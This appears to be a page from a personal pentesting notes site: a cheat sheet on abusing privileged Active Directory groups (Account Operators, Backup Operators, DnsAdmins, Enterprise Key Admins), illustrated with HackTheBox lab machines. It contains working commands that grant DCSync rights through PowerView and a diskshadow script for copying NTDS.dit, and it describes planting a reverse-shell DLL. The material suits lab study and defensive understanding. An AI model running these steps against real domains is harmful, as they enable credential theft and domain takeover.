Intrusionz3r0-WriteupsHacktheboxGithubLinkedln

Privileged Groups

Account Operators

The members of account operators are allowed to create accounts as well as modify non-admin groups.

Get-NetGroupMember -Identity "Account Operators" -Recurse

In this machine I took over of a svc-alfresco with belongs to Account Operators and other nested groups including Exchange Windows Permissions that have WriteNACL permissions against the domain. That means that I can add svc-alfresco as member of Exchange Windows Permission and then perform the DCSync attack to dump the NTDS.dit.

Import-Module .\\PowerView.ps1
Add-ADGroupMember -Identity "EXCHANGE WINDOWS PERMISSIONS" -Members svc-alfresco;
$SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force;
$Cred = New-Object System.Management.Automation.PSCredential('HTB\\svc-alfresco', $SecPassword);
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "HTB.LOCAL\\Domain Admins" -Identity 'svc-alfresco' -Rights DCSync

Example: Forest

Backup Operators

SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug at master · giuliano108/SeBackupPrivilege

To convert the script to acceptable windows format run: unix2dos diskshadow.txt

#FindWriteable directories
accesschk.exe -w -s -u <username> C:\\
set context persistent nowriters
set metadata c:\\windows\\system32\\spool\\drivers\\color\\example.cab
set verbose on
begin backup
add volume c: alias mydrive

create

expose %mydrive% w:
end backup

To leverage these privileges locally, the following steps are employed:

To dump the NTDS

Alternative

Dump SAM/SYSTEM/SECURITY files from registry hive

Tool: https://github.com/mpgn/BackupOperatorToDA

Dump Registry hives with BackupOperatorToDa

Dump Registry hives with Impacket

AD Recycle Bin

Example: Cascade

DNSAdmin

The penetration tester discovered that the user ryan was a member of the DnsAdmins group, granting permissions to configure DNS Server settings. This misconfiguration was exploited to escalate privileges to Domain Administrator.

Steps Taken:

  1. Payload Creation

    A malicious DLL was generated using msfvenom to establish a reverse shell:

  2. DLL Injection

    The malicious DLL was injected into the DNS Server configuration:

  3. Service Restart

    Restarting the DNS service triggered the payload execution:

  4. Privilege Escalation

    The payload executed successfully, granting Domain Administrator privileges.

Evidence:

Example: Resolute

Servers Operators

Example: MultiMaster

Account Operators

Account Operators, Members can modify non-protected accounts and groups in the domain.

Enterprise Key Admins

Enterprise Key Admins, Members have the ability to write to the “msds-KeyCredentialLink” property on a user or computer. Writing to this property allows an attacker to create “Shadow Credentials” on the object and authenticate as the principal using kerberos PKINIT.

Case 1 : User has GenericAll over Enterprise Key Admins.

WSU Administrator

LogoIntroducing SharpWSUSLRQA
LogoPsExec - SysinternalsMicrosoftLearn

  • Default Administrators, Domain Admins and Enterprise Admins "super" groups.

  • Server Operators, Members are allowed to log onto DCs locally and can modify services, access SMB shares, and backup files.

  • Backup Operators, Members are allowed to log onto DCs locally and should be considered Domain Admins. They can make shadow copies of the SAM/NTDS database, read the registry remotely, and access the file system on the DC via SMB. This group is sometimes added to the local Backup Operators group on non-DCs.

  • Print Operators, Members are allowed to logon to DCs locally and "trick" Windows into loading a malicious driver.

  • Hyper-V Administrators, If there are virtual DCs, any virtualization admins, such as members of Hyper-V Administrators, should be considered Domain Admins.

  • Account Operators, Members can modify non-protected accounts and groups in the domain.

  • Remote Desktop Users, Members are not given any useful permissions by default but are often granted additional rights such as Allow Login Through Remote Desktop Services and can move laterally using the RDP protocol.

  • Remote Management Users, Members are allowed to logon to DCs with PSRemoting (This group is sometimes added to the local remote management group on non-DCs).

  • Group Policy Creator Owners, Members can create new GPOs but would need to be delegated additional permissions to link GPOs to a container such as a domain or OU.

  • Schema Admins, Members can modify the Active Directory schema structure and can backdoor any to-be-created Group/GPO by adding a compromised account to the default object ACL.

  • DNS Admins, Members have the ability to load a DLL on a DC but do not have the necessary permissions to restart the DNS server. They can load a malicious DLL and wait for a reboot as a persistence mechanism. Loading a DLL will often result in the service crashing. A more reliable way to exploit this group is to create a WPAD record.

  • Enterprise Key Admins, Members have the ability to write to the “msds-KeyCredentialLink” property on a user or computer. Writing to this property allows an attacker to create “Shadow Credentials” on the object and authenticate as the principal using kerberos PKINIT.

PreviousAbuse TokensNextDefense Enumeration

Last updated